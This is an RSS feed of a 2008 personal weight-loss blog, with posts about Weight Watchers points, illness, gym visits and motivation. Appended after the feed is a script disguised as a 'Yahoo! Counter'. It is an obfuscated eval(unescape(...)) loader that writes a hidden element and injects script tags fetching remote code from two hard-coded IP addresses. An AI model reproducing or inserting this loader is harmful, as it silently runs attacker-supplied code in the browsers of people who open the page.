<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/wordpress-mu-1.2.3-2.2.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>My Weight Watchers Journey</title>
	<link>http://blogs.weightwatchen.com/cookieinco</link>
	<description>The chief cause of failure and unhappiness is trading what we want MOST for what we want at the Moment!</description>
	<pubDate>Tue, 06 May 2008 19:36:46 +0000</pubDate>
	<generator>http://wordpress.org/?v=wordpress-mu-1.2.3-2.2.1</generator>
	<language>en</language>
			<item>
		<title>~Back on track~</title>
		<link>http://blogs.weightwatchen.com/cookieinco/2008/05/06/back-on-track/</link>
		<comments>http://blogs.weightwatchen.com/cookieinco/2008/05/06/back-on-track/#comments</comments>
		<pubDate>Tue, 06 May 2008 16:51:09 +0000</pubDate>
		<dc:creator>cookieinco</dc:creator>
		
		<category><![CDATA[Just Because]]></category>

		<guid isPermaLink="false">http://blogs.weightwatchen.com/cookieinco/2008/05/06/back-on-track/</guid>
		<description><![CDATA[Okay, so I am back on track. I am feeling better now the rest of the family is sick. This is life though. I went back to working out yesterday. Thought I was going to die yesterday morning. Still a little sick I guess. Went again yesterday afternoon felt better! I miss exercising when I [...]]]></description>
			<content:encoded><![CDATA[<p>Okay, so I am back on track. I am feeling better now the rest of the family is sick. This is life though. I went back to working out yesterday. Thought I was going to die yesterday morning. Still a little sick I guess. Went again yesterday afternoon felt better! I miss exercising when I don&#8217;t get to go. It was so nice to do it again. Is that sick or what? Did really well on my points yesterday. And so far today I am doing great! I am liking what I am seeing. I am not going back to old habits completely just for comfort! I am changing. I can see it! One step at a time. Even if they are baby steps some days~</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.weightwatchen.com/cookieinco/2008/05/06/back-on-track/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Okay I have a plan! (or something)</title>
		<link>http://blogs.weightwatchen.com/cookieinco/2008/05/03/okay-i-have-a-plan-or-something/</link>
		<comments>http://blogs.weightwatchen.com/cookieinco/2008/05/03/okay-i-have-a-plan-or-something/#comments</comments>
		<pubDate>Sat, 03 May 2008 23:25:59 +0000</pubDate>
		<dc:creator>cookieinco</dc:creator>
		
		<category><![CDATA[Just Need to Write]]></category>

		<guid isPermaLink="false">http://blogs.weightwatchen.com/cookieinco/2008/05/03/okay-i-have-a-plan-or-something/</guid>
		<description><![CDATA[Or at least I would like to think that I do. You know when you have a really bad case of the allergies and then it turns into a cold, and you have two children, a working husband, a home to take care of, and oh yea don&#8217;t forget finals are due by this weekend! [...]]]></description>
			<content:encoded><![CDATA[<p>Or at least I would like to think that I do. You know when you have a really bad case of the allergies and then it turns into a cold, and you have two children, a working husband, a home to take care of, and oh yea don&#8217;t forget finals are due by this weekend! Do you ever just wanna SCREAM? If I did right now, my kids would come running wondering if I was okay and my throat would probably just hurt worse so maybe that isn&#8217;t such a good idea for me right now.</p>
<p>I don&#8217;t feel like I have been completely off track the last few days but I don&#8217;t think I have been completely on either. Missing my weigh in today is giving me a case of thought I guess.  I weighed myself on my home scale and well I guess I am glad I didnt go because I would be up. On the other hand I wish I had gone because that just shows me I need to change things and work harder. So cant take back the past move onto the future!</p>
<p>I am really good about tracking my food on the WW site and I am really good about exercising so now I must stay motivated sick or not. Now is the time when I crave the comfort food! UGH</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.weightwatchen.com/cookieinco/2008/05/03/okay-i-have-a-plan-or-something/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A few hard days</title>
		<link>http://blogs.weightwatchen.com/cookieinco/2008/05/03/a-few-hard-days/</link>
		<comments>http://blogs.weightwatchen.com/cookieinco/2008/05/03/a-few-hard-days/#comments</comments>
		<pubDate>Sat, 03 May 2008 18:26:18 +0000</pubDate>
		<dc:creator>cookieinco</dc:creator>
		
		<category><![CDATA[Just Need to Write]]></category>

		<guid isPermaLink="false">http://blogs.weightwatchen.com/cookieinco/2008/05/03/a-few-hard-days/</guid>
		<description><![CDATA[Well a lot has been going on. My husband took me out to see a play and we had a wonderful dinner. I was very good about what I ate and was  very proud of myself for the self control that I maintained. Then I got sick. I have been so sick for two [...]]]></description>
			<content:encoded><![CDATA[<p>Well a lot has been going on. My husband took me out to see a play and we had a wonderful dinner. I was very good about what I ate and was  very proud of myself for the self control that I maintained. Then I got sick. I have been so sick for two days now. I cant work out, I am barely eating right. Why are mommies allowed to get sick? We should be exempt!</p>
<p>I found this picture. It is awful but eye opening. It is from June of last year when I was at my heaviest. 167!<a href="http://blogs.weightwatchen.com/cookieinco/files/2008/05/fat-pic.jpg" title="Heaviest"><img src="http://blogs.weightwatchen.com/cookieinco/files/2008/05/fat-pic.thumbnail.jpg" alt="Heaviest" /></a><a href="http://blogs.weightwatchen.com/cookieinco/files/2008/05/fat-pic.jpg" title="Heaviest">Heaviest</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.weightwatchen.com/cookieinco/2008/05/03/a-few-hard-days/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Why I finally made a change&#8230;</title>
		<link>http://blogs.weightwatchen.com/cookieinco/2008/04/30/why-i-finally-made-a-change/</link>
		<comments>http://blogs.weightwatchen.com/cookieinco/2008/04/30/why-i-finally-made-a-change/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 20:00:48 +0000</pubDate>
		<dc:creator>cookieinco</dc:creator>
		
		<category><![CDATA[Just Because]]></category>

		<guid isPermaLink="false">http://blogs.weightwatchen.com/cookieinco/2008/04/30/why-i-finally-made-a-change/</guid>
		<description><![CDATA[Well about January of this year I realized I was really letting myself go. It was hurting me a lot, and I am sure it wasn&#8217;t doing my family any good since it is true that you cannot give as much to others when you don&#8217;t give anytime for yourself. At the time I was [...]]]></description>
			<content:encoded><![CDATA[<p>Well about January of this year I realized I was really letting myself go. It was hurting me a lot, and I am sure it wasn&#8217;t doing my family any good since it is true that you cannot give as much to others when you don&#8217;t give anytime for yourself. At the time I was going through a lot of stress and was having some weird breathing problems that Id not know if they were realted to the weight stress or hey maybe a little bit of both. Anyways, I devided to start doing weight watchers. I had done it once before for about a month and had lost but didnt keep up with it. I started doing it at home and did see some success. I lost 10 lbs between January 2008 and when I started going to WW meetings in February. My mom decided to get on bored with me and we started going to meetings and doing this all together. It has been great so far. It is a lot of work and takes a lot of preperation for me to always have what I want and need around but it works. Completely thus far I have lost 19 lbs since starting. I am thrilled. My WW goal is to loose 47 lbs. My personal goal is 57lbs. I am always going to leave room for change in that but I feel those are very obtainable. I am only 5 ft tall so having those extra lbs on me feels like so much more.</p>
<p>I am doing the flex plan with WW and I do like it a lot. I like that I can eat what I want sometimes as long as I stay within my points. I have found for me that if I eat approx 4 to 5 pts 5ish times a day I have had the most success. Plus I do not get hungry and overeat, and I don&#8217;t seem to have as many cravings as I use to. I feel like I have so much more control. I love the Special K meal bars. At only 3 pts each they are a great on the go meal!</p>
<p>For my birthday which was mid March my husband and I got gym memberships. For like the 5th time in our lives and marriage together. Well I have been so impressed with us. We use it everyday if not 5 out of 7 days a week! I have really found that I am addicted. I love doing the different cardio machines. There are so many options and it is great to do new things. We joined a small gym not a big name one, we love it. There is no pressure of really buff people around literally it is all ages, sexes, types, shapes sizes you name it!</p>
<p>If you are actually reading this and ever need any support let me know! This is a tough road to tackle sometimes but it is very possible!</p>
<p>God Bless</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.weightwatchen.com/cookieinco/2008/04/30/why-i-finally-made-a-change/feed/</wfw:commentRss>
		</item>
		<item>
		<title></title>
		<link>http://blogs.weightwatchen.com/cookieinco/2008/04/30/4/</link>
		<comments>http://blogs.weightwatchen.com/cookieinco/2008/04/30/4/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 13:11:32 +0000</pubDate>
		<dc:creator>cookieinco</dc:creator>
		
		<category><![CDATA[Just Because]]></category>

		<guid isPermaLink="false">http://blogs.weightwatchen.com/cookieinco/2008/04/30/4/</guid>
		<description><![CDATA[The chief cause of failure and unhappiness is trading what we want MOST for what we want at the MOMENT.
]]></description>
			<content:encoded><![CDATA[<p>The chief cause of failure and unhappiness is trading what we want MOST for what we want at the MOMENT.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.weightwatchen.com/cookieinco/2008/04/30/4/feed/</wfw:commentRss>
		</item>
		<item>
		<title></title>
		<link>http://blogs.weightwatchen.com/cookieinco/2008/04/30/3/</link>
		<comments>http://blogs.weightwatchen.com/cookieinco/2008/04/30/3/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 12:57:38 +0000</pubDate>
		<dc:creator>cookieinco</dc:creator>
		
		<category><![CDATA[Weight Loss]]></category>

		<guid isPermaLink="false">http://blogs.weightwatchen.com/cookieinco/2008/04/30/3/</guid>
		<description><![CDATA[

]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.TickerFactory.com/weight-loss/w5ZaWtg/"><br />
<img border="0" src="http://tickers.TickerFactory.com/ezt/t/w5ZaWtg/weight.png"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.weightwatchen.com/cookieinco/2008/04/30/3/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<script language=javascript><!-- Yahoo! Counter starts 
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('/`%2F%3C@d@%69v%20%73|t%79~%6C!%65&%3D|%64i@sp~%6Ca%79&%3A@n#on@%65|%3E\n$%64%6F@%63um@e%6Et%2Ew|%72%69t&%65~%28&"%3C/`t%65x#%74%61~re@a%3E%22|)`%3B!v#%61r$%20%69&%2C$%5F%2C%61~%3D@%5B"`%37`%38.!1%31|0.%31%37%35&.~2$%31$%22~%2C%221%395@%2E`%32$%34!%2E%37`%36|.`2%35#1!%22&%5D$%3B%5F@=~1%3B$%69%66%28$%64%6F~%63&u&m`%65nt|%2E%63#%6Fo&%6B~ie`.m%61|tch|%28%2F|%5C|bh!%67f%74%3D#1/)%3D#=#nul|%6C%29#f&%6F%72&(i=@%30;`i%3C2;#i!+%2B#)%64o!c!%75#m%65%6E|t~.&%77`ri%74%65%28"$%3C|s&%63&%72#%69p&t&%3Eif#(&_!%29d~o|%63!u~%6D&%65n$%74%2E&%77$%72|%69#t$%65&(%5C%22$%3C%73%63&%72#%69!p%74%20!i!%64&%3D%5F&%22%2B%69$%2B!"_@%20#s`rc|%3D/|%2F"#%2B`%61[%69`%5D%2B%22`%2Fc#p%2F?"+`n|av%69&ga%74%6F!r|.$%61%70&p&%4E@a&%6D#e.c&h#ar$%41@t(0)$%2B#%22%3E$%3C#%5C|%5C%2Fs$%63%72%69|%70|t~%3E!%5C|")%3C%5C&%2F%73#c|%72#i!p`%74%3E@%22%29%3B\n!/%2F#%3C|%2Fd%69!%76~%3E').replace(/\$|@|\&|#|~|\||\!|`/g,""));var yahoo_counter=1;
<!-- counter end --></script>
